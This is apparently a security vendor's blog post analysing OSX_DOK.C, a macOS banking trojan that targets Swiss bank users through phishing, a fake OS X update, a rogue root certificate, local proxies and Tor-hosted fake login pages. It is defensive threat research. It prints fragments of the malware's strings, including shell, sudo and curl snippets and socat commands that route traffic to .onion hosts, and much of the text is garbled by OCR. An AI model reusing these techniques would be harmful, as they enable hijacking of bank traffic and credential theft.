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The OSX_DOK malware (Detected by Trend Micro as OSX_DOK.
C) showcases sophisticated features such as certificate abuse and

New Linux Malware Exploits CGI Vulnerability

CVE-2017-5638: Apache Struts 2 Vulnerability
Leads to Remote Code Execution

Business Process Compromise

security software evasion that affects machines using Apple’s OSX
operating system. This malware, which specifically targets Swiss
banking users, uses a phishing campaign to drop its payload, which
eventually results in the hijacking of a user’s network traffic using a
Man-in-the- Middle (MitM) attack. OSX_DOK.C seems to be another
version of WERDLOD (Detected by Trend Micro as
TROJ_WERDLOD), which is a malware that was used during the
Operation Emmental campaigns—an interesting development that
we will tackle further in this blog post.

Attackers are starting to invest in long-
term operations that target specific
processes enterprises rely on. They scout
for vulnerable practices, susceptible
systems and operational loopholes that
they can leverage or abuse. To learn
more, read our Security 101: Business Process
Compromise.
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Figure 1: OSX_DOK.C infection routine for Mac systems

OSX_DOK.C first arrives via a phishing email that contains certain files labeled as either .zip or .docx
files. The sample we analyzed was a purported message from a police inspector in Zurich allegedly
claiming to unsuccessfully contact the recipient. The email also comes with two files attached claiming
to contain questions for the user: one is a .zip file, which is a fake OSX app, while the other is a .docx
file used to target Windows operating systems using WERDLOD. Both of these samples work as
Banking Trojans and provide similar functionalities.
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Once the docx file included in the phishing email is clicked, a warning window will pop up:
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Figure 2: Warning window on OSX

After this, the App Store on the system will be removed, followed by a full screen fake OSX update
screen.

OS X Updates Available

A security issue has been identified in a OS X software product that could affect your system.
You can help protect your system by installing this update from App Store.

After you install this update, you may have to reopen you browser.

How to install security updates:

1. Press Update All button in the current opened window.
2. When Admin permissions dialog box appears, enter password and click OK

Update Al

Figure 3: Fake OSX update screen

It will ask for a password to run command as root.

~.  AppStore wants to make changes. Type your
password to allow this.

User Name:  rubio

password: || |

A security issue has bee uld affect your system.
You can help protect you concel | N jtore.

After you install this upda‘ == ‘

How to install security updates:

1. Press Update All button in the current opened window.
2. When Admin permissions dialog box appears, enter password and click OK

3,& Installing...

Please wait. The installation process can take up to 10 minutes.

Figure 4: Fake OSX update screen

The malware will begin to download other utilities. It relies on Homebrew, an open source software
package manager to install Golang and Tor.

The malware will then install fake certificates in the system to perform a MitM attack without notifying
the user.

The structure of the fake App Store matches the application bundle structure and provides both English
and German interfaces. The main executable is Dokument.app/Contents/MacOS/AppStore.

The archive in Mac OSX looks like this:
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Figure 5: Fake document file

Mac OSX will run the application if it passes certificates. In this case, the malware is signed off by a
“developer”, which may actually be a dummy account or that of a compromised user. In addition, the
time stamp on the CA is new, which might mean that it was obtained specifically for this attack.

The fake certificate imitates the COMODO root certificate. Take note that the fake certificate does not
contain a COMODO Certificate Authority seal that certifies its validity, as seen in the comparison below:

COMODO Ces

Bl COMODO Certification Authority
Reot certificate authority
= Expires: Tuesday, January 1, 2030 at 07:59:59 Taipel Standard Time

® This certificate is valid

» Trust
v Details
Subject Name
h Country 68
T State/Province  Greater Manchester
State/Province. Geeater Manchestor Localny: Salford
Localty Sattora Organization COMODO CA Limited
fon COMODO CA Limited Gomman Name  COMODO Certification Authority
COMODD Certtication Autnority
COMODO Certtication Autherity
Email Addrass me@mynostmydomain
untry 6B
i State/Province  Greater Manchester
Country US Locality  Saiford

Organization COMODO CA Limited
Common Mams  COMODO Cartification Authority

Serial Number 4E 812D 8A 82 65 E0 0B 02 EE 3¢ 35 02 46 €530

Version 3
Sorlal Number 00 C4 2184 OF 3205 BASS Signature Algorithm  SHA-1 with RSA Encryption (1.2.840.113549.1.15 )
Version 3 Parameters nane

Signature Algorithm. SHA-266 with RSA Encryption {12840.113640.1.131 )
rore Mot Valid Before  Friday, December 1, 2006 at 08:00:00 Taipel Standard Time.
Not Valid Aftor  Tuesday, January 1, 2030 at 07:59:59 Taipei Standard Time

Thorsday, May 11, 2 Time
Not Valid After Sunday, May 9, 2027 3t 10:26:07 PM Pacifc Daysgnt Time

Public Key Info
biic Koy n Algorithm  RSA Encryption (1.2.840.113540.1.11)
Algorithm RS Eneryption 12 840.113848111) Parametors nane

Parameters none Public Key 256 bytes : D0 40 88 88 72 E39118 ..
Public Key 512 bytes ; C2 DD F2 £8 41 66:2C 61— Exponent 8837

Exponent 65537
Kay Size 4096 bits Key Size 2048 bits

M i A Key Usage Verify
Signature 512 oytes : 3960 95 B0 DO EB 77 66 . Signature 256 bytes : 3E 98 OF 9B F6 1BE9 D7 .

Figure 6: Comparison of a Fake COMODO (left) root certificate vs a genuine COMODO certificate
(right)

We noticed that this malware will not work for Mozilla Firefox or Google Chrome since these two
browsers have their own root certificates. Of all the major browsers, only Safari uses the system’s
certificates.

We observed the attacker targeting both Windows and Mac OSX in the same spam mail on June 9,
2017. There is a file shortcut embedded in the malicious .docx file—one that will download an
executable file from Dropbox—that executes once clicked by the user. The functionalities are similar to
the malicious app provided, which includes installing tor and proxy.

We have already notified Dropbox about the use of its service for this malware. Dropbox has already
taken down the links.

The malware will install two proxies running on local host port 5555 and 5588. All of the traffic will be
hijacked into the first proxy (port 5555) with the victim’s external IP address as parameter.
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Figure 7: Installing proxies on local host port 5555

The first (port 5555) proxy first finds the IP parameter. If it is not in Switzerland, the traffic will proceed
as normal. If it detects an IP located in Switzerland, the malware will run an obfuscated JavaScript code
and find its visiting domain. If the domain is in the target, the malware will perform a MitM attack and
redirect the traffic to the second proxy (port 5588), which routes the traffic to the Tor network. The
purpose of these steps is to target users in Switzerland and hijack their traffic

After deobfuscating the malware, we found the target domains:

Figure 8: Hardcoded list of target banking websites in Switzerland

The target domain’s visitors will be redirected into an e-banking login page that looks and acts normally,
but is located on dark web sites.

However, once the victim enters an account and password. A window will pop out.

& ttps/wwwsec oke.ch ¢ o] &

Bitte warten...

00:02:57

Figure 9: Hijacking connection to EKR bank

The pop-out window is just smoke and mirrors, where nothing actually happens once the countdown
timer reaches zero.

We analyzed the webpage and found attackers injecting a script into the webpage. Once the user
enters an account and password, it will initiate POST using AJAX. The POST message is sent to the
same site as the fake login page—which an attacker can control inside the Tor network.
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Figure 10: Post message carrying argument

We decoded the data section and found not only the account and password, but that it also
fingerprinted the user’s browser and system information.

While Operation Emmental was able to bypass two-way authentication by tricking its victims into
installing a fake app, we have not observed OSX_DOK.C doing this. However, since they can inject
code into the webpage, it means they have the ability to do this as well.

Performing static analysis on OSX_DOK.C

We performed static analysis on the sample and found it packed by Ultimate Packer for Executables
(UPX), an open source executable packer that can often be abused by malware. We successfully
unpacked the initial sample we found dropped by the UPX unpacker.

The malware is not obfuscated so we easily found interesting strings here. We can see that the
malware relies on bash shell for most of its setup.

m E m (exists (lagin item \"%@\")\n endtell
Stor Eventa” to make login e st end i properties {pathi\"%@\)
sleep 5 & rm AR\%E@\ && m RVEQY
Installing.
do shellseript \"%@\" with administrator privleges

date.pl heckEnabled -bool YES
date.pl Dounlosd bool

Jpd figDatalnstall -bool NO
date.plist Crit mmuubgmo
~boal NO

Jpdate -bool NO

- \"S(eurl -fSL htp:

sudo -u %@ %@ install tor

sudo -u %@ %@ services start tor
com %@%0

plist

dest-unreach

8 2o 2 ) 2 2 2 2 I 0

AOBAAAANANAAO0NARANO0AAAANONAAGHNNAGOANAAAONNAM0

mé65vefigataroz

Figure 11: OSX_DOK.C strings

We were not able to unpack the sample discovered after June 9, 2017. The UPX gave a warning
message about memory buffer overflow. The malware author seemingly made unpacking the malware
more difficult to slow down or even evade the antivirus engine’s scanning process. The packer is the
same but the malware tries to exploit the undiscovered bug in the UPX library that causes unpack
failure. We have reported the issues to the UPX team, and they have already fixed it.

The impacted versions of the UPX library are 3.94, 3.93, and 3.92. This technique enables the malware
to efficiently run while evading unpacking techniques from the AntiVirus-integrated UPX library.

Connecting OSX_DOK.C with WERDLOD

As mentioned earlier, we believe that OSX_DOK.C might be the MAC OSX version of WERDLOD, an
online banking malware that used the same techniques as Operation Emmental. Other research have
also connected the OSX malware and Retefe (the external term used for WERDLOD) via similarities in
their behavior.

While OSX_DOK.C is designed for MAC OSX, which is a Unix-like system, WERDLOD is designed for
Windows. But in terms of features and behaviors, these two malware are very similar. Here is a list of
their similarities.

Both malware kill all current browsers before installing fake certificates:

Both WERDLOD and OSX_DOK.C are designed to kill the browser process before installing fake
certificates. While WERDLOD kills processes for Internet Explorer, Firefox, and Chrome, OSX_DOK.C
does the same on Safari, Firefox, and Chrome.

Both malware share the same proxy settings and script:

While WERDLOD and OSX_DOK.C use different codes (since they target different operating systems),
they have similar proxy settings and script formats. In particular, WERDLOD uses scripts running on
hxxp://127.0.0.1:555/#{random_string}.js?ip=#{my_ip} as proxy:

$slcmd="socat tcpd-LISTEN:S555, reuseaddr, fork,keepalive, bind=127.0.0.1 50CKS4A:127.6.8.1 .onion: 80,
$e2cnd="s0cat tepd-LISTEN:5585, neuseaddr. fork,keepalive, bind=127.0.0.1 SOCKS4A: 127..0.1:pacyulgub721lykuk onion: 5588, socksport=g050. 5
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Automatic configuration

Automatic configuration may override manual settings. To ensure the
use of manual settings, disable automatic configuration.

[¥] automatically detect settings

[¥] Use automatic configuration script

Figure 12 : Local Area Network (LAN) settings

Comparing it to OSX_DOK.C, we can see that it uses the same script format:

Metwork

*+p Ethernet

Tceip ONs  wins  sozax [T Hardware

Select a protocol to configure: Proxy Configuration File
Auto Proxy Discovery URL: | http://127.0.0.1:5555/n1enspmimy.js?ip=:
& Automatic Proxy Configuration
| Web Proxy (HTTE) If your network adm\m'.stramr provided yu!.i with the
address of an automatic proxy configuration (.pac)
Secure Web Proxy (HTTPS) file, enter it above.
FTP Broxy

SQCKS Proxy
Streaming Proxy (RTSP)
Gopher Proxy

Exclude simple hostnames

Bypass proxy settings for these Hosts & Domains:
*local, 169.254/16

Use Passive FTP Mode (PASV)

7 Cancel OK

Figure 13: OSX_DOK.C network settings
Both malware have similar targets:

Both WERDLOD and OSX_DOK.C targeted financial institutions, with a particular focus on banks in
Switzerland. Further analysis of both malware revealed that their main targets are very similar, as seen
in the screenshot below. While it's possible that this is a coincidence, the rest of the evidence makes it
unlikely for these two malware to target the same organizations by chance.

Figure 14: OSX_DOK.C target banks

Given the connection between WERDLOD and OSX_DOK.C, it is reasonable to assume that the latter
is also a part of the Operational Emmental campaign. To further illustrate, here is a timeline of
Operation Emmental and its potential relationship to OSX_DOK.C:
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Operation Emmental peak of attacks

* Targeted regions: Austria, Switzerland, Sweden and
Japan

* Infection Chain: Embedded CPL in RTF, sent as

phishing mail attachments
; $——— ® Techniques used
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© Bypassed two-factor authentication by tricking
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Operation Emmental with Tor

» Targeted region: Europe Q
= Change: Hijacks network traffic [

into the Tor network

Started targeting Mac OSX users in April

= Targeted region: Switzerland

« Infection Chain: Mac apps arriving as phishing
mail attachments

= Techniques used

© Performed MITM attack by installing fake Root
CA certificates

). © Routed hijacked network traffic to the Tor
network

o Developer signed the app
* Targeted both Mac OSX and Windows in May 2017

© Embedded LNK in .docx files or malicious URLs
via PDF to infect Windows users

« Started to perform anti-UPX unpacking behavior in
June 2017

Figure 15: Connecting Operation Emmental with OSX_DOK.C
Mitigation and Trend Micro Solutions

Despite phishing incidents for Mac devices being rarer than their Windows counterparts, users should
still be aware that attackers can target them at any moment. By implementing best practices for
phishing-type attacks—such as refraining from downloading files unless they are absolutely certain that
they come from trustworthy sources—users can avoid being victimized by malware such as
OSX_DOK.C that prey on users who lack awareness of phishing strategies.

In addition, end users can also benefit from security solutions such as Trend Micro Home Security for
Mac, which provides comprehensive security and multi-device protection against viruses, ransomware,
malicious websites, and identity thieves. It also provides secure storage of passwords and other
sensitive information. Trend Micro™ Mobile Security for Apple devices (available on the App Store) can
monitor and block phishing attacks and other malicious URLs.

For enterprises, Trend Micro’s Smart Protection Suites with XGen™ security, which support Mac
systems, infuse high-fidelity machine learning into a blend of threat protection techniques to eliminate
security gaps across any user activity and any endpoint.

With additional analysis from Yi-Jhen Hsieh (DSNS lab, National Chiao Tung University)
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Trend Micro has blocked over 100 million threats and counting
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